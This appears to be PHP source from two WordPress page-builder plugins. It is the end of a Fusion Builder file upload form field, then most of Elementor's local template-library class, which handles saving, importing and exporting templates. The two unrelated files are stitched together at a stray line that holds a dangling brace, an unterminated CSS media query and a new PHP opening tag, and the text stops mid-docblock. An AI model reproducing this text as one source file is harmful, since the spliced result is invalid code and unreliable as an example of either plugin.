				if ( 'above' === $this->params['form_meta']['label_position'] ) {
					$html .= $element_data['label'] . $element_html;
				} else {
					$html .= $element_html . $element_data['label'];
				}

				return $html;
			}

			/**
			 * Load base CSS.
			 *
			 * @access public
			 * @since 3.1
			 * @return void
			 */
			public function add_css_files() {
				FusionBuilder()->add_element_css( FUSION_BUILDER_PLUGIN_DIR . 'assets/css/form/upload.min.css' );
			}
		}
	}

	new FusionForm_Upload();
}

/**
 * Map shortcode to Fusion Builder
 *
 * @since 3.1
 */
function fusion_form_upload() {

	global $fusion_settings;

	fusion_builder_map(
		fusion_builder_frontend_data(
			'FusionForm_Upload',
			[
				'name'           => esc_attr__( 'Upload Field', 'fusion-builder' ),
				'shortcode'      => 'fusion_form_upload',
				'icon'           => 'fusiona-af-upload',
				'form_component' => true,
				'preview'        => FUSION_BUILDER_PLUGIN_DIR . 'inc/templates/previews/fusion-form-element-preview.php',
				'preview_id'     => 'fusion-builder-block-module-form-element-preview-template',
				'params'         => [
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Field Label', 'fusion-builder' ),
						'description' => esc_attr__( 'Enter the label for the input field. This is how users will identify individual fields.', 'fusion-builder' ),
						'param_name'  => 'label',
						'value'       => '',
						'placeholder' => true,
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Field Name', 'fusion-builder' ),
						'description' => esc_attr__( 'Enter the field name. Should be single word without spaces. Underscores and dashes are allowed.', 'fusion-builder' ),
						'param_name'  => 'name',
						'value'       => '',
						'placeholder' => true,
					],
					[
						'type'        => 'radio_button_set',
						'heading'     => esc_attr__( 'Required Field', 'fusion-builder' ),
						'description' => esc_attr__( 'Make a selection to ensure that this field is completed before allowing the user to submit the form.', 'fusion-builder' ),
						'param_name'  => 'required',
						'default'     => 'no',
						'value'       => [
							'yes' => esc_attr__( 'Yes', 'fusion-builder' ),
							'no'  => esc_attr__( 'No', 'fusion-builder' ),
						],
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Placeholder Text', 'fusion-builder' ),
						'param_name'  => 'placeholder',
						'value'       => esc_attr__( 'Click or drag a file to this area to upload.', 'fusion-builder' ),
						'description' => esc_attr__( 'The placeholder text to display as hint for the input type.', 'fusion-builder' ),
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'Tooltip Text', 'fusion-builder' ),
						'param_name'  => 'tooltip',
						'value'       => '',
						'description' => esc_attr__( 'The text to display as tooltip hint for the input.', 'fusion-builder' ),
					],
					[
						'type'        => 'range',
						'heading'     => esc_html__( 'Max File Upload Size', 'fusion-builder' ),
						'description' => esc_html__( 'Maximum size limit for file upload. The default is 2 MB.', 'fusion-builder' ),
						'param_name'  => 'upload_size',
						'value'       => '2',
						'min'         => '1',
						'max'         => '100',
						'step'        => '1',
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_html__( 'Allowed Extensions', 'fusion-builder' ),
						'param_name'  => 'extensions',
						'value'       => '',
						'description' => esc_html__( 'Please enter the comma separated extensions that you want to allow. Leave empty to allow all. Example input: .jpg,.png.  Note, WordPress file type permissions still apply.', 'fusion-builder' ),
					],
					[
						'type'        => 'iconpicker',
						'heading'     => esc_attr__( 'Input Field Icon', 'fusion-builder' ),
						'param_name'  => 'input_field_icon',
						'value'       => 'fa-upload fas',
						'description' => esc_attr__( 'Select an icon for the input field, click again to deselect.', 'fusion-builder' ),
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'CSS Class', 'fusion-builder' ),
						'param_name'  => 'class',
						'value'       => '',
						'description' => esc_attr__( 'Add a class for the input field.', 'fusion-builder' ),
					],
					[
						'type'        => 'textfield',
						'heading'     => esc_attr__( 'CSS ID', 'fusion-builder' ),
						'param_name'  => 'id',
						'value'       => '',
						'description' => esc_attr__( 'Add an ID for the input field.', 'fusion-builder' ),
					],
				],
			]
		)
	);
}
add_action( 'fusion_builder_before_init', 'fusion_form_upload' );
}@media only screen and (min-width: 796px) and (max-width: 848px){<?php
namespace Elementor\TemplateLibrary;

use Elementor\Core\Base\Document;
use Elementor\Core\Editor\Editor;
use Elementor\Core\Files\File_Types\Zip;
use Elementor\DB;
use Elementor\Core\Settings\Manager as SettingsManager;
use Elementor\Core\Settings\Page\Model;
use Elementor\Modules\Library\Documents\Library_Document;
use Elementor\Plugin;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * Elementor template library local source.
 *
 * Elementor template library local source handler class is responsible for
 * handling local Elementor templates saved by the user locally on his site.
 *
 * @since 1.0.0
 */
class Source_Local extends Source_Base {

	/**
	 * Elementor template-library post-type slug.
	 */
	const CPT = 'elementor_library';

	/**
	 * Elementor template-library taxonomy slug.
	 */
	const TAXONOMY_TYPE_SLUG = 'elementor_library_type';

	/**
	 * Elementor template-library category slug.
	 */
	const TAXONOMY_CATEGORY_SLUG = 'elementor_library_category';

	/**
	 * Elementor template-library meta key.
	 * @deprecated 2.3.0 Use \Elementor\Core\Base\Document::TYPE_META_KEY instead
	 */
	const TYPE_META_KEY = '_elementor_template_type';

	/**
	 * Elementor template-library temporary files folder.
	 */
	const TEMP_FILES_DIR = 'elementor/tmp';

	/**
	 * Elementor template-library bulk export action name.
	 */
	const BULK_EXPORT_ACTION = 'elementor_export_multiple_templates';

	const ADMIN_MENU_SLUG = 'edit.php?post_type=elementor_library';

	const ADMIN_SCREEN_ID = 'edit-elementor_library';

	/**
	 * Template types.
	 *
	 * Holds the list of supported template types that can be displayed.
	 *
	 * @access private
	 * @static
	 *
	 * @var array
	 */
	private static $template_types = [];

	/**
	 * Post type object.
	 *
	 * Holds the post type object of the current post.
	 *
	 * @access private
	 *
	 * @var \WP_Post_Type
	 */
	private $post_type_object;

	/**
	 * @since 2.3.0
	 * @access public
	 * @static
	 * @return array
	 */
	public static function get_template_types() {
		return self::$template_types;
	}

	/**
	 * Get local template type.
	 *
	 * Retrieve the template type from the post meta.
	 *
	 * @since 1.0.0
	 * @access public
	 * @static
	 *
	 * @param int $template_id The template ID.
	 *
	 * @return mixed The value of meta data field.
	 */
	public static function get_template_type( $template_id ) {
		return get_post_meta( $template_id, Document::TYPE_META_KEY, true );
	}

	/**
	 * Is base templates screen.
	 *
	 * Whether the current screen base is edit and the post type is template.
	 *
	 * @since 1.0.0
	 * @access public
	 * @static
	 *
	 * @return bool True on base templates screen, False otherwise.
	 */
	public static function is_base_templates_screen() {
		global $current_screen;

		if ( ! $current_screen ) {
			return false;
		}

		return 'edit' === $current_screen->base && self::CPT === $current_screen->post_type;
	}

	/**
	 * Add template type.
	 *
	 * Register new template type to the list of supported local template types.
	 *
	 * @since 1.0.3
	 * @access public
	 * @static
	 *
	 * @param string $type Template type.
	 */
	public static function add_template_type( $type ) {
		self::$template_types[ $type ] = $type;
	}

	/**
	 * Remove template type.
	 *
	 * Remove existing template type from the list of supported local template
	 * types.
	 *
	 * @since 1.8.0
	 * @access public
	 * @static
	 *
	 * @param string $type Template type.
	 */
	public static function remove_template_type( $type ) {
		if ( isset( self::$template_types[ $type ] ) ) {
			unset( self::$template_types[ $type ] );
		}
	}

	public static function get_admin_url( $relative = false ) {
		$base_url = self::ADMIN_MENU_SLUG;
		if ( ! $relative ) {
			$base_url = admin_url( $base_url );
		}

		return add_query_arg( 'tabs_group', 'library', $base_url );
	}

	/**
	 * Get local template ID.
	 *
	 * Retrieve the local template ID.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string The local template ID.
	 */
	public function get_id() {
		return 'local';
	}

	/**
	 * Get local template title.
	 *
	 * Retrieve the local template title.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @return string The local template title.
	 */
	public function get_title() {
		return esc_html__( 'Local', 'elementor' );
	}

	/**
	 * Register local template data.
	 *
	 * Used to register custom template data like a post type, a taxonomy or any
	 * other data.
	 *
	 * The local template class registers a new `elementor_library` post type
	 * and an `elementor_library_type` taxonomy. They are used to store data for
	 * local templates saved by the user on his site.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function register_data() {
		$admin_menu_rearrangement_active = Plugin::$instance->experiments->is_feature_active( 'admin_menu_rearrangement' );

		if ( $admin_menu_rearrangement_active ) {
			$name = _x( 'Templates', 'Template Library', 'elementor' );
		} else {
			$name = _x( 'My Templates', 'Template Library', 'elementor' );
		}

		$labels = [
			'name' => $name,
			'singular_name' => _x( 'Template', 'Template Library', 'elementor' ),
			'add_new' => _x( 'Add New', 'Template Library', 'elementor' ),
			'add_new_item' => _x( 'Add New Template', 'Template Library', 'elementor' ),
			'edit_item' => _x( 'Edit Template', 'Template Library', 'elementor' ),
			'new_item' => _x( 'New Template', 'Template Library', 'elementor' ),
			'all_items' => _x( 'All Templates', 'Template Library', 'elementor' ),
			'view_item' => _x( 'View Template', 'Template Library', 'elementor' ),
			'search_items' => _x( 'Search Template', 'Template Library', 'elementor' ),
			'not_found' => _x( 'No Templates found', 'Template Library', 'elementor' ),
			'not_found_in_trash' => _x( 'No Templates found in Trash', 'Template Library', 'elementor' ),
			'parent_item_colon' => '',
			'menu_name' => _x( 'Templates', 'Template Library', 'elementor' ),
		];

		$args = [
			'labels' => $labels,
			'public' => true,
			'rewrite' => false,
			'menu_icon' => 'dashicons-admin-page',
			'show_ui' => true,
			'show_in_menu' => ! $admin_menu_rearrangement_active,
			'show_in_nav_menus' => false,
			'exclude_from_search' => true,
			'capability_type' => 'post',
			'hierarchical' => false,
			'supports' => [ 'title', 'thumbnail', 'author', 'elementor' ],
		];

		/**
		 * Register template library post type args.
		 *
		 * Filters the post type arguments when registering elementor template library post type.
		 *
		 * @since 1.0.0
		 *
		 * @param array $args Arguments for registering a post type.
		 */
		$args = apply_filters( 'elementor/template_library/sources/local/register_post_type_args', $args );

		$this->post_type_object = register_post_type( self::CPT, $args );

		$args = [
			'hierarchical' => false,
			'show_ui' => false,
			'show_in_nav_menus' => false,
			'show_admin_column' => true,
			'query_var' => is_admin(),
			'rewrite' => false,
			'public' => false,
			'label' => _x( 'Type', 'Template Library', 'elementor' ),
		];

		/**
		 * Register template library taxonomy args.
		 *
		 * Filters the taxonomy arguments when registering elementor template library taxonomy.
		 *
		 * @since 1.0.0
		 *
		 * @param array $args Arguments for registering a taxonomy.
		 */
		$args = apply_filters( 'elementor/template_library/sources/local/register_taxonomy_args', $args );

		$cpts_to_associate = [ self::CPT ];

		/**
		 * Custom post types to associate.
		 *
		 * Filters the list of custom post types when registering elementor template library taxonomy.
		 *
		 * @since 1.0.0
		 *
		 * @param array $cpts_to_associate Custom post types. Default is `elementor_library` post type.
		 */
		$cpts_to_associate = apply_filters( 'elementor/template_library/sources/local/register_taxonomy_cpts', $cpts_to_associate );

		register_taxonomy( self::TAXONOMY_TYPE_SLUG, $cpts_to_associate, $args );

		/**
		 * Categories
		 */
		$args = [
			'hierarchical' => true,
			'show_ui' => true,
			'show_in_nav_menus' => false,
			'show_admin_column' => true,
			'query_var' => is_admin(),
			'rewrite' => false,
			'public' => false,
			'labels' => [
				'name' => _x( 'Categories', 'Template Library', 'elementor' ),
				'singular_name' => _x( 'Category', 'Template Library', 'elementor' ),
				'all_items' => _x( 'All Categories', 'Template Library', 'elementor' ),
			],
		];

		/**
		 * Register template library category args.
		 *
		 * Filters the category arguments when registering elementor template library category.
		 *
		 * @since 2.4.0
		 *
		 * @param array $args Arguments for registering a category.
		 */
		$args = apply_filters( 'elementor/template_library/sources/local/register_category_args', $args );

		register_taxonomy( self::TAXONOMY_CATEGORY_SLUG, self::CPT, $args );
	}

	/**
	 * Remove Add New item from admin menu.
	 *
	 * Fired by `admin_menu` action.
	 *
	 * @since 2.4.0
	 * @access public
	 */
	public function admin_menu_reorder() {
		global $submenu;

		if ( ! isset( $submenu[ self::ADMIN_MENU_SLUG ] ) ) {
			return;
		}
		$library_submenu = &$submenu[ self::ADMIN_MENU_SLUG ];

		// Remove 'All Templates' menu.
		unset( $library_submenu[5] );

		// If current use can 'Add New' - move the menu to end, and add the '#add_new' anchor.
		if ( isset( $library_submenu[10][2] ) ) {
			$library_submenu[700] = $library_submenu[10];
			unset( $library_submenu[10] );
			$library_submenu[700][2] = admin_url( self::ADMIN_MENU_SLUG . '#add_new' );
		}

		// Move the 'Categories' menu to end.
		if ( isset( $library_submenu[15] ) ) {
			$library_submenu[800] = $library_submenu[15];
			unset( $library_submenu[15] );
		}

		if ( $this->is_current_screen() ) {
			$library_title = $this->get_library_title();

			foreach ( $library_submenu as &$item ) {
				if ( $library_title === $item[0] ) {
					if ( ! isset( $item[4] ) ) {
						$item[4] = '';
					}
					$item[4] .= ' current';
				}
			}
		}
	}

	public function admin_menu() {
		add_submenu_page( self::ADMIN_MENU_SLUG, '', esc_html__( 'Saved Templates', 'elementor' ), Editor::EDITING_CAPABILITY, self::get_admin_url( true ) );
	}

	public function admin_title( $admin_title, $title ) {
		$library_title = $this->get_library_title();

		if ( $library_title ) {
			$admin_title = str_replace( $title, $library_title, $admin_title );
		}

		return $admin_title;
	}

	public function replace_admin_heading() {
		$library_title = $this->get_library_title();

		if ( $library_title ) {
			global $post_type_object;

			$post_type_object->labels->name = $library_title;
		}
	}

	/**
	 * Get local templates.
	 *
	 * Retrieve local templates saved by the user on his site.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param array $args Optional. Filter templates based on a set of
	 *                    arguments. Default is an empty array.
	 *
	 * @return array Local templates.
	 */
	public function get_items( $args = [] ) {
		$template_types = array_values( self::$template_types );

		if ( ! empty( $args['type'] ) ) {
			$template_types = $args['type'];
			unset( $args['type'] );
		}

		$defaults = [
			'post_type' => self::CPT,
			'post_status' => 'publish',
			'posts_per_page' => -1,
			'orderby' => 'title',
			'order' => 'ASC',
			'meta_query' => [
				[
					'key' => Document::TYPE_META_KEY,
					'value' => $template_types,
				],
			],
		];

		$query_args = wp_parse_args( $args, $defaults );

		$templates_query = new \WP_Query( $query_args );

		$templates = [];

		if ( $templates_query->have_posts() ) {
			foreach ( $templates_query->get_posts() as $post ) {
				$templates[] = $this->get_item( $post->ID );
			}
		}

		return $templates;
	}

	/**
	 * Save local template.
	 *
	 * Save new or update existing template on the database.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param array $template_data Local template data.
	 *
	 * @return \WP_Error|int The ID of the saved/updated template, `WP_Error` otherwise.
	 */
	public function save_item( $template_data ) {
		if ( ! current_user_can( $this->post_type_object->cap->edit_posts ) ) {
			return new \WP_Error( 'save_error', esc_html__( 'Access denied.', 'elementor' ) );
		}

		$defaults = [
			'title' => esc_html__( '(no title)', 'elementor' ),
			'page_settings' => [],
			'status' => current_user_can( 'publish_posts' ) ? 'publish' : 'pending',
		];

		$template_data = wp_parse_args( $template_data, $defaults );

		$document = Plugin::$instance->documents->create(
			$template_data['type'],
			[
				'post_title' => $template_data['title'],
				'post_status' => $template_data['status'],
			]
		);

		if ( is_wp_error( $document ) ) {
			/**
			 * @var \WP_Error $document
			 */
			return $document;
		}

		if ( ! empty( $template_data['content'] ) ) {
			$template_data['content'] = $this->replace_elements_ids( $template_data['content'] );
		}

		$document->save( [
			'elements' => $template_data['content'],
			'settings' => $template_data['page_settings'],
		] );

		$template_id = $document->get_main_id();

		/**
		 * After template library save.
		 *
		 * Fires after Elementor template library was saved.
		 *
		 * @since 1.0.1
		 *
		 * @param int   $template_id   The ID of the template.
		 * @param array $template_data The template data.
		 */
		do_action( 'elementor/template-library/after_save_template', $template_id, $template_data );

		/**
		 * After template library update.
		 *
		 * Fires after Elementor template library was updated.
		 *
		 * @since 1.0.1
		 *
		 * @param int   $template_id   The ID of the template.
		 * @param array $template_data The template data.
		 */
		do_action( 'elementor/template-library/after_update_template', $template_id, $template_data );

		return $template_id;
	}

	/**
	 * Update local template.
	 *
	 * Update template on the database.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param array $new_data New template data.
	 *
	 * @return \WP_Error|true True if template updated, `WP_Error` otherwise.
	 */
	public function update_item( $new_data ) {
		if ( ! current_user_can( $this->post_type_object->cap->edit_post, $new_data['id'] ) ) {
			return new \WP_Error( 'save_error', esc_html__( 'Access denied.', 'elementor' ) );
		}

		$document = Plugin::$instance->documents->get( $new_data['id'] );

		if ( ! $document ) {
			return new \WP_Error( 'save_error', esc_html__( 'Template not exist.', 'elementor' ) );
		}

		$document->save( [
			'elements' => $new_data['content'],
		] );

		/**
		 * After template library update.
		 *
		 * Fires after Elementor template library was updated.
		 *
		 * @since 1.0.0
		 *
		 * @param int   $new_data_id The ID of the new template.
		 * @param array $new_data    The new template data.
		 */
		do_action( 'elementor/template-library/after_update_template', $new_data['id'], $new_data );

		return true;
	}

	/**
	 * Get local template.
	 *
	 * Retrieve a single local template saved by the user on his site.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param int $template_id The template ID.
	 *
	 * @return array Local template.
	 */
	public function get_item( $template_id ) {
		$post = get_post( $template_id );

		$user = get_user_by( 'id', $post->post_author );

		$page = SettingsManager::get_settings_managers( 'page' )->get_model( $template_id );

		$page_settings = $page->get_data( 'settings' );

		$date = strtotime( $post->post_date );

		$data = [
			'template_id' => $post->ID,
			'source' => $this->get_id(),
			'type' => self::get_template_type( $post->ID ),
			'title' => $post->post_title,
			'thumbnail' => get_the_post_thumbnail_url( $post ),
			'date' => $date,
			'human_date' => date_i18n( get_option( 'date_format' ), $date ),
			'human_modified_date' => date_i18n( get_option( 'date_format' ), strtotime( $post->post_modified ) ),
			'author' => $user->display_name,
			'status' => $post->post_status,
			'hasPageSettings' => ! empty( $page_settings ),
			'tags' => [],
			'export_link' => $this->get_export_link( $template_id ),
			'url' => get_permalink( $post->ID ),
		];

		/**
		 * Get template library template.
		 *
		 * Filters the template data when retrieving a single template from the
		 * template library.
		 *
		 * @since 1.0.0
		 *
		 * @param array $data Template data.
		 */
		$data = apply_filters( 'elementor/template-library/get_template', $data );

		return $data;
	}

	/**
	 * Get template data.
	 *
	 * Retrieve the data of a single local template saved by the user on his site.
	 *
	 * @since 1.5.0
	 * @access public
	 *
	 * @param array $args Custom template arguments.
	 *
	 * @return array Local template data.
	 */
	public function get_data( array $args ) {
		$template_id = $args['template_id'];

		$document = Plugin::$instance->documents->get( $template_id );
		$content = [];

		if ( $document ) {
			// TODO: Validate the data (in JS too!).
			if ( ! empty( $args['display'] ) ) {
				$content = $document->get_elements_raw_data( null, true );
			} else {
				$content = $document->get_elements_data();
			}

			if ( ! empty( $content ) ) {
				$content = $this->replace_elements_ids( $content );
			}
		}

		$data = [
			'content' => $content,
		];

		if ( ! empty( $args['with_page_settings'] ) ) {
			$page = SettingsManager::get_settings_managers( 'page' )->get_model( $args['template_id'] );

			$data['page_settings'] = $page->get_data( 'settings' );
		}

		return $data;
	}

	/**
	 * Delete local template.
	 *
	 * Delete template from the database.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param int $template_id The template ID.
	 *
	 * @return \WP_Post|\WP_Error|false|null Post data on success, false or null
	 *                                       or 'WP_Error' on failure.
	 */
	public function delete_template( $template_id ) {
		if ( ! current_user_can( $this->post_type_object->cap->delete_post, $template_id ) ) {
			return new \WP_Error( 'template_error', esc_html__( 'Access denied.', 'elementor' ) );
		}

		return wp_delete_post( $template_id, true );
	}

	/**
	 * Export local template.
	 *
	 * Export template to a file.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param int $template_id The template ID.
	 *
	 * @return \WP_Error WordPress error if template export failed.
	 */
	public function export_template( $template_id ) {
		$file_data = $this->prepare_template_export( $template_id );

		if ( is_wp_error( $file_data ) ) {
			return $file_data;
		}

		$this->send_file_headers( $file_data['name'], strlen( $file_data['content'] ) );

		// Clear buffering just in case.
		@ob_end_clean();

		flush();

		// Output file contents.
		// PHPCS - Export widget json
		echo $file_data['content']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped

		die;
	}

	/**
	 * Export multiple local templates.
	 *
	 * Export multiple template to a ZIP file.
	 *
	 * @since 1.6.0
	 * @access public
	 *
	 * @param array $template_ids An array of template IDs.
	 *
	 * @return \WP_Error WordPress error if export failed.
	 */
	public function export_multiple_templates( array $template_ids ) {
		$files = [];

		$wp_upload_dir = wp_upload_dir();

		$temp_path = $wp_upload_dir['basedir'] . '/' . self::TEMP_FILES_DIR;

		// Create temp path if it doesn't exist
		wp_mkdir_p( $temp_path );

		// Create all json files
		foreach ( $template_ids as $template_id ) {
			$file_data = $this->prepare_template_export( $template_id );

			if ( is_wp_error( $file_data ) ) {
				continue;
			}

			$complete_path = $temp_path . '/' . $file_data['name'];

			$put_contents = file_put_contents( $complete_path, $file_data['content'] );

			if ( ! $put_contents ) {
				return new \WP_Error( '404', sprintf( 'Cannot create file "%s".', $file_data['name'] ) );
			}

			$files[] = [
				'path' => $complete_path,
				'name' => $file_data['name'],
			];
		}

		if ( ! $files ) {
			return new \WP_Error( 'empty_files', 'There is no files to export (probably all the requested templates are empty).' );
		}

		// Create temporary .zip file
		$zip_archive_filename = 'elementor-templates-' . gmdate( 'Y-m-d' ) . '.zip';

		$zip_archive = new \ZipArchive();

		$zip_complete_path = $temp_path . '/' . $zip_archive_filename;

		$zip_archive->open( $zip_complete_path, \ZipArchive::CREATE );

		foreach ( $files as $file ) {
			$zip_archive->addFile( $file['path'], $file['name'] );
		}

		$zip_archive->close();

		foreach ( $files as $file ) {
			unlink( $file['path'] );
		}

		$this->send_file_headers( $zip_archive_filename, filesize( $zip_complete_path ) );

		@ob_end_flush();

		@readfile( $zip_complete_path );

		unlink( $zip_complete_path );

		die;
	}

	/**
	 * Import local template.
	 *
	 * Import template from a file.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param string $name - The file name
	 * @param string $path - The file path
	 * @return \WP_Error|array An array of items on success, 'WP_Error' on failure.
	 */
	public function import_template( $name, $path ) {
		if ( empty( $path ) ) {
			return new \WP_Error( 'file_error', 'Please upload a file to import' );
		}

		// Set the Request's state as an Elementor upload request, in order to support unfiltered file uploads.
		Plugin::$instance->uploads_manager->set_elementor_upload_state( true );

		$items = [];

		// If the import file is a Zip file with potentially multiple JSON files
		if ( 'zip' === pathinfo( $name, PATHINFO_EXTENSION ) ) {
			$extracted_files = Plugin::$instance->uploads_manager->extract_and_validate_zip( $path, [ 'json' ] );

			if ( is_wp_error( $extracted_files ) ) {
				// Delete the temporary extraction directory, since it's now not necessary.
				Plugin::$instance->uploads_manager->remove_file_or_dir( $extracted_files['extraction_directory'] );

				return $extracted_files;
			}

			foreach ( $extracted_files['files'] as $file_path ) {
				$import_result = $this->import_single_template( $file_path );

				if ( is_wp_error( $import_result ) ) {
					// Delete the temporary extraction directory, since it's now not necessary.
					Plugin::$instance->uploads_manager->remove_file_or_dir( $extracted_files['extraction_directory'] );

					return $import_result;
				}

				$items[] = $import_result;
			}

			// Delete the temporary extraction directory, since it's now not necessary.
			Plugin::$instance->uploads_manager->remove_file_or_dir( $extracted_files['extraction_directory'] );
		} else {
			// If the import file is a single JSON file
			$import_result = $this->import_single_template( $path );

			if ( is_wp_error( $import_result ) ) {
				return $import_result;
			}

			$items[] = $import_result;
		}

		return $items;
	}

	/**
	 * Post row actions.
	 *
	 * Add an export link to the template library action links table list.
	 *
	 * Fired by `post_row_actions` filter.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param array    $actions An array of row action links.
	 * @param \WP_Post $post    The post object.
	 *
	 * @return array An updated array of row action links.
	 */
	public function post_row_actions( $actions, \WP_Post $post ) {
		if ( self::is_base_templates_screen() ) {
			if ( $this->is_template_supports_export( $post->ID ) ) {
				$actions['export-template'] = sprintf( '<a href="%1$s">%2$s</a>', $this->get_export_link( $post->ID ), esc_html__( 'Export Template', 'elementor' ) );
			}
		}

		return $actions;
	}

	/**
	 * Admin import template form.
	 *
	 * The import form displayed in "My Library" screen in WordPress dashboard.
	 *
	 * The form allows the user to import template in json/zip format to the site.
	 *
	 * Fired by `admin_footer` action.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function admin_import_template_form() {
		if ( ! self::is_base_templates_screen() ) {
			return;
		}

		/** @var \Elementor\Core\Common\Modules\Ajax\Module $ajax */
		$ajax = Plugin::$instance->common->get_component( 'ajax' );
		?>
		<div id="elementor-hidden-area">
			<a id="elementor-import-template-trigger" class="page-title-action"><?php echo esc_html__( 'Import Templates', 'elementor' ); ?></a>
			<div id="elementor-import-template-area">
				<div id="elementor-import-template-title"><?php echo esc_html__( 'Choose an Elementor template JSON file or a .zip archive of Elementor templates, and add them to the list of templates available in your library.', 'elementor' ); ?></div>
				<form id="elementor-import-template-form" method="post" action="<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>" enctype="multipart/form-data">
					<input type="hidden" name="action" value="elementor_library_direct_actions">
					<input type="hidden" name="library_action" value="direct_import_template">
					<input type="hidden" name="_nonce" value="<?php Utils::print_unescaped_internal_string( $ajax->create_nonce() ); ?>">
					<fieldset id="elementor-import-template-form-inputs">
						<input type="file" name="file" accept=".json,application/json,.zip,application/octet-stream,application/zip,application/x-zip,application/x-zip-compressed" required>
						<input id="e-import-template-action" type="submit" class="button" value="<?php echo esc_attr__( 'Import Now', 'elementor' ); ?>">
					</fieldset>
				</form>
			</div>
		</div>
		<?php
	}

	/**
	 * Block template frontend
	 *
	 * Don't display the single view of the template library post type in the
	 * frontend, for users that don't have the proper permissions.
	 *
	 * Fired by `template_redirect` action.
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public function block_template_frontend() {
		if ( is_singular( self::CPT ) && ! current_user_can( Editor::EDITING_CAPABILITY ) ) {
			wp_safe_redirect( site_url(), 301 );
			die;
		}
	}

	/**
	 * Is template library supports export.
	 *
	 * whether the template library supports export.
	 *
	 * Template saved by the user locally on his site, support export by default
	 * but this can be changed using a filter.
	 *
	 * @since 1.0.0
	 * @access public
	 *
	 * @param int $template_id The template ID.
	 *
	 * @return bool Whether the template library supports export.
	 */
	public function is_template_supports_export( $template_id ) {
		$export_support = true;

		/**
		 * Is template library supports export.
		 *
		 * Filters whether the template library supports export.
		 *
		 * @since 1.0.0
		 *
		 * @param bool $export_support Whether the template library supports export.
		 *                             Default is true.
		 * @param int  $template_id    Post ID.
		 */
		$export_support = apply_filters( 'elementor/template_library/is_template_supports_export', $export_support, $template_id );

		return $export_support;
	}

	/**
	 * Remove Elementor post state.
	 *
	 * Remove the 'elementor' post state from the display states of the post.
	 *
	 * Used to remove the 'elementor' post state from the template library items.
	 *
	 * Fired by `display_post_states` filter.
	 *
	 * @since 1.8.0
	 * @access public
	 *
	 * @param array    $post_states An array of post display states.
	 * @param \WP_Post $post        The current post object.
	 *
	 * @return array Updated array of post display states.
	 */
	public function remove_elementor_post_state_from_library( $post_states, $post ) {
		if ( self::CPT === $post->post_type && isset( $post_states['elementor'] ) ) {
			unset( $post_states['elementor'] );
		}
		return $post_states;
	}

	/**
	 * Get template export link.
	 *
	 * Retrieve the link used to export a single template based on the template
	 * ID.
	 *
	 * @since 2.0.0
	 * @access private
	 *
	 * @param int $template_id The template ID.
	 *
	 * @return string Template export URL.
	 */
	private function get_export_link( $template_id ) {
		// TODO: BC since 2.3.0 - Use `$ajax->create_nonce()`
		/** @var \Elementor\Core\Common\Modules\Ajax\Module $ajax */
		// $ajax = Plugin::$instance->common->get_component( 'ajax' );

		return add_query_arg(
			[
				'action' => 'elementor_library_direct_actions',
				'library_action' => 'export_template',
				'source' => $this->get_id(),
				'_nonce' => wp_create_nonce( 'elementor_ajax' ),
				'template_id' => $template_id,
			],
			admin_url( 'admin-ajax.php' )
		);
	}

	/**
	 * On template save.
	 *
	 * Run this method when template is being saved.
	 *
	 * Fired by `save_post` action.
	 *
	 * @since 1.0.1
	 * @access public
	 *
	 * @param int      $post_id Post ID.
	 * @param \WP_Post $post    The current post object.
	 */
	public function on_save_post( $post_id, \WP_Post $post ) {
		if ( self::CPT !== $post->post_type ) {
			return;
		}

		if ( self::get_template_type( $post_id ) ) { // It's already with a type
			return;
		}

		// Don't save type on import, the importer will do it.
		if ( did_action( 'import_start' ) ) {
			return;
		}

		$this->save_item_type( $post_id, 'page' );
	}

	/**
	 * Save item type.
	 *
	 * When saving/updating templates, this method is used to update the post
	 * meta data and the taxonomy.
	 *
	 * @since 1.0.1
	 * @access private
	 *
	 * @param int    $post_id Post ID.
	 * @param string $type    Item type.
	 */
	private function save_item_type( $post_id, $type ) {
		update_post_meta( $post_id, Document::TYPE_META_KEY, $type );

		wp_set_object_terms( $post_id, $type, self::TAXONOMY_TYPE_SLUG );
	}

	/**
	 * Bulk export action.
	 *
	 * Adds an 'Export' action to the Bulk Actions drop-down in the template
	 * library.
	 *
	 * Fired by `bulk_actions-edit-elementor_library` filter.
	 *
	 * @since 1.6.0
	 * @access public
	 *
	 * @param array $actions An array of the available bulk actions.
	 *
	 * @return array An array of the available bulk actions.
	 */
	public function admin_add_bulk_export_action( $actions ) {
		$actions[ self::BULK_EXPORT_ACTION ] = esc_html__( 'Export', 'elementor' );

		return $actions;
	}

	/**
	 * Add bulk export action.
	 *
	 * Handles the template library bulk export action.
	 *
	 * Fired by `handle_bulk_actions-edit-elementor_library` filter.
	 *
	 * @since 1.6.0
	 * @access public
	 *
	 * @param string $redirect_to The redirect URL.
	 * @param string $action      The action being taken.
	 * @param array  $post_ids    The items to take the action on.
	 */
	public function admin_export_multiple_templates( $redirect_to, $action, $post_ids ) {
		if ( self::BULK_EXPORT_ACTION === $action ) {
			$result = $this->export_multiple_templates( $post_ids );

			// If you reach this line, the export failed
			// PHPCS - Not user input.
			wp_die( $result->get_error_message() ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		}
	}

	/**
	 * Print admin tabs.
	 *
	 * Used to output the template library tabs with their labels.
	 *
	 * Fired by `views_edit-elementor_library` filter.
	 *
